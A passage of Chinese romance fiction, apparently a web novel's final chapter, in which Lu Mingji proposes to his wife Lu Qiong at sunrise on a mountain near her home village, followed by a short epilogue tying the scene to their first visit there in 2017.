这一天从沪市折腾到青省,赶路赶半天,又做一下午卫生,再以一场情事作为一整天的句号。 从浴室里出来,路琼就不复进去之前的精神饱满。 浴室里太闷,做到最后路琼都有点缺氧。 趴在床上,她捞过一个抱枕抱着,阖着眼昏昏欲睡。 陆明霁给她吹着头发,酝酿好,吹风机调成低档:“凌晨叫你起来?” “干嘛?” “爬山,看日出。” 路琼背对着陆明霁,在他看不见的地方偷笑一下,又手动压下上翘的嘴角,咕哝:“好。” 才十点钟,远不到他们日常作息的睡觉时间,不过明天还要爬山,两人就没再干什么,关灯睡觉。 陆明霁记挂着事情,迷迷糊糊半梦半醒着,凌晨三点钟闹钟一响他就起来。 路琼也没睡太死,听到动静跟着睁眼。 不上班时,路琼从不化妆,今天她一反常态画了个精致全妆。 陆明霁在一旁等着,不易察觉地抿抿唇。 两人就这么心思各异地出门,借用度假村的一辆车开回村子里。 爬上陆明霁第一次来找路琼,路琼带他攀爬的那座山峰。 凌晨五点零五分,他们一同登顶。 熹微晨光初露,火红色的朝霞冲破云层照亮天际,云海在脚下翻腾。 路琼尽情呼吸着家乡清冷新鲜的空气,拿出手机,打开相机拍摄模式,记录下这一刻的美好。 陆明霁在她后方架好一台小单反,角度、光线都检查好,无一错漏。 他走到路琼身边,兴致缺缺地问:“你是不是猜到了?” 路琼停止录像,看向他,别过被山风吹到脸前的碎发:“猜到什么?” 陆明霁不冷不热地哼声:“你是水桶么,这么能装。” 路琼无辜地笑着:“我装什么了?” “你装什么你心里没数吗,你不上班都不化妆的,今天你连睫毛都贴——”陆明霁指控她到一半,收嘴:“算了。” 他破罐子破摔,单膝跪下,在冲锋衣口袋里掏出一枚戒指。 没有包装盒,他怕包装盒太显眼,就丢在家里了。 不成想还是被她觉察,她怎么就那么精! 还是他演技太烂,太过喜形于色? 陆明霁忿忿不平。 “相机在那边支好了,在录,等回家你又有能笑话我的新素材了,但是你只能在家自己看,趁早死了在婚礼上播放的那份心。” 威胁是这么威胁,路琼要是不听,一意孤行要作为婚礼开幕视频,陆明霁也无能为力。 陆明霁在路琼面前,是个只会虚张声势的陆明霁。 “虽然结婚证都领快半年了,但是别人都有求婚就你没有,显得我多没本事一样。”少爷连求婚都求的独树一帜,不落人下风:“我好不容易想到个满意的方案,你猜到了你也装一下。” “之前那枚戒指不是婚戒,这枚才是。”他正脸扭向一边,戒指往前一送:“要不要随你便。” 戒指是双层指环,嵌着一颗颗细碎小钻,中间最大那颗蓝钻切割成流畅的水滴形。 奢华又高贵。 路琼忍俊不禁,眼睛一弯,雾气也漫上来:“随便的话,那我就不要了。” 陆明霁倏然仰起头,不可置信地瞪她:“你敢!” 他险些跳起来,又按耐住,强调:“你发过誓说会一直喜欢我的,你不能骗我!” 陆明霁激动到眼眶一霎泛红,蔓延着惶恐不安。 路琼逗不下去,她蹲下身,和陆明霁高度齐平,伸出左手,无名指对准戒圈,自己戴进去。 戴好,双手捧住陆明霁的脸颊,温柔地吻他。 朝阳升高,红霞漫天。 他们在日出时分,接了一个细腻绵长的吻。 分开后,路琼与他额头相抵:“不用装,谢谢你,我很喜欢这个惊喜。” “我不要你谢我。”陆明霁小声要求她:“你说过会一直爱我,你说到做到就好了。” 他无比执拗,像个讨要糖吃的小孩子:“我也不会给你机会出尔反尔。” 路琼说不会。 她眼睫轻颤:“路琼会一直爱陆明霁,一辈子不会变。” 陆明霁嗯声,一滴泪滑落:“陆明霁也不会变。” 2017年8月6日,陆明霁第一次来青省找路琼。 他见到更为完整的她,了解到她的不易,得知她的梦想。 她带他爬上环绕在村庄周围最高的那座山峰,她说总有一天她要走出这里,去往更大的世界。 2025年8月6日,陆明霁在当年那座山峰的山顶向路琼求婚。 无论她想去哪里,他都愿意成为她前进道路上的垫脚石,不设期限。 —— 纵使爱有千难万阻,但是对的爱人会永远站在你的前途里。